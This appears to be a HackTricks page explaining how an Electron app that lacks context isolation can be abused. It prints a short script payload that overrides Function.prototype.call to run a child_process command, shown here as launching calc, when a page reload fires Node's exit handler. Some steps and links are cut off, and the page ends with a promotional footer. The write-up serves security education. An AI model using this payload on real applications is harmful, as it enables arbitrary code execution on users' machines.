3.7 KiB
3.7 KiB
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Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41
"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{% embed url="664c184fcb/lib/common/asar.js (L30-L36)" %}
8a44289089/bin/events.js (L156-L231) -- No longer exists
Then it goes here:
Where "self" is Node's process object:
The process object has a references to "require" function:
process.mainModule.require
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
Support HackTricks and get benefits!
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](7af18b62b3/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**